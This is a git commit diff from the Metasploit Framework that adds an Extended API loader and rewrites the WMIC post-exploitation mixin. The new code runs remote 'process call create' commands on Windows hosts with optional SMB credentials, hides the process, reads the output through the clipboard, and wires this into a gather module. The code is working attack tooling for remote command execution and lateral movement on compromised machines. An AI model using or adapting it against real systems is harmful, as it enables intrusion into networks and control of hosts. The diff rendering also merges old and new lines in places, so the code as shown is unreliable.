Get and parse result from clipboard

bug/bundler_fix
Meatballs 2013-12-14 18:30:43 +00:00
parent 3ad1e57f8d
commit 12afdd2cbb
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
3 changed files with 123 additions and 46 deletions

View File

@ -0,0 +1,25 @@
# -*- coding: binary -*-
module Msf
class Post
module Windows
module ExtAPI
def load_extapi
if session.extapi
return true
else
begin
return session.core.use("extapi")
rescue Errno::ENOENT
print_error("Unable to load Extended API.")
return false
end
end
end
end # WMIC
end # Windows
end # Post
end # Msf

View File

@ -6,16 +6,104 @@ module Windows
module WMIC module WMIC
def wmic_command(server, cmd) include Msf::Post::Windows::ExtAPI
wcmd = "wmic #{wmic_user_pass_string}/node:#{server} process call create \"#{cmd.gsub('"','\\"')}\""
def initialize(info = {})
super
register_options([
OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]),
OptAddress.new("RHOST", [ true, "Target address range", "localhost" ]),
], self.class)
end
def wmic_command(cmd, server=datastore['RHOST'])
raise RuntimeError, "WMIC: Unable to load Extended API" unless load_extapi
if datastore['SMBUser']
if server.downcase == "localhost" || server.downcase.starts_with("127.")
raise RuntimeError, "WMIC: User credentials cannot be used for local connections"
end
end
wcmd = "wmic #{wmic_user_pass_string}/output:CLIPBOARD /INTERACTIVE:off /node:#{server} process call create \"#{cmd.gsub('"','\\"')}\""
vprint_status("[#{server}] #{wcmd}") vprint_status("[#{server}] #{wcmd}")
# We dont use cmd_exec as WMIC cannot be Channelized # We dont use cmd_exec as WMIC cannot be Channelized
ps = session.sys.process.execute(wcmd, "", {'Hidden' => true, 'Channelized' => false}) ps = session.sys.process.execute(wcmd, "", {'Hidden' => true, 'Channelized' => false})
select(nil,nil,nil,0.1)
found = true
while found
sleep(1)
found = false
session.sys.process.get_processes.each do |x|
if "wmic.exe" == (x['name'].downcase)
vprint_status("WMIC still running... Sleeping")
found = true
break
end
end
end end
end # Process ps.close
result = session.extapi.clipboard.get_data.first
if result[:type] == :text
result_text = result[:data]
else
result_text = ""
end
vprint_status("[#{server}] WMIC Command Result:")
vprint_line(result_text)
parsed_result = parse_wmic_result(result_text)
if parsed_result == nil
vprint_error("[#{server}] WMIC Command Error")
end
session.extapi.clipboard.set_text("")
return parsed_result
end
def parse_wmic_result(result_text)
if result_text.blank?
return nil
else
pid = nil
return_value = nil
if result_text =~ /ProcessId = (\d+);/
pid = $1.to_i
end
if result_text =~ /ReturnValue = (\d+);/
return_value = $1.to_i
end
return {:return_value => return_value, :pid => pid}
end
end
def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])
userpass = ""
unless user.nil?
if domain.nil?
userpass = "/user:\"#{user}\" /password:\"#{pass}\" "
else
userpass = "/user:\"#{domain}\\#{user}\" /password:\"#{pass}\" "
end
end
return userpass
end
end # WMIC
end # Windows end # Windows
end # Post end # Post
end # Msf end # Msf

View File

@ -5,9 +5,13 @@
require 'msf/core' require 'msf/core'
require 'rex' require 'rex'
load '/root/git/metasploit-framework/lib/msf/core/post/windows/extapi.rb'
load '/root/git/metasploit-framework/lib/msf/core/post/windows/wmic.rb'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Post::Windows::WMIC
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info( info,
'Name' => 'Windows Gather Run Specified WMIC Command', 'Name' => 'Windows Gather Run Specified WMIC Command',
@ -41,7 +45,7 @@ class Metasploit3 < Msf::Post
next if cmd[0,1] == "#" next if cmd[0,1] == "#"
print_status "Running command #{cmd.chomp}" print_status "Running command #{cmd.chomp}"
wmicexec(cmd.chomp) wmic_command(cmd.chomp)
end end
else else
@ -51,49 +55,9 @@ class Metasploit3 < Msf::Post
elsif datastore['COMMAND'] elsif datastore['COMMAND']
cmd = datastore['COMMAND'] cmd = datastore['COMMAND']
wmicexec(cmd) result = wmic_command(cmd)
end end
end end
def wmicexec(wmiccmd)
tmpout = ''
session.response_timeout=120
begin
tmp = session.fs.file.expand_path("%TEMP%")
wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))
print_status "running command wmic #{wmiccmd}"
r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmiccmd}", nil, {'Hidden' => true})
sleep(2)
#Making sure that wmic finishes before executing next wmic command
prog2check = "wmic.exe"
found = 0
while found == 0
session.sys.process.get_processes().each do |x|
found =1
if prog2check == (x['name'].downcase)
sleep(0.5)
found = 0
end
end
end
r.close
# Read the output file of the wmic commands
wmioutfile = session.fs.file.new(wmicfl, "rb")
until wmioutfile.eof?
tmpout << wmioutfile.read
end
wmioutfile.close
rescue ::Exception => e
print_status("Error running WMIC commands: #{e.class} #{e}")
end
# We delete the file with the wmic command output.
c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
c.close
vprint_status tmpout
command_log = store_loot("host.command.wmic", "text/plain", session,tmpout ,
"#{wmiccmd.gsub(/\.|\/|\s/,"_")}.txt", "Command Output \'wmic #{wmiccmd.chomp}\'")
print_status("Command output saved to: #{command_log}")
end
end end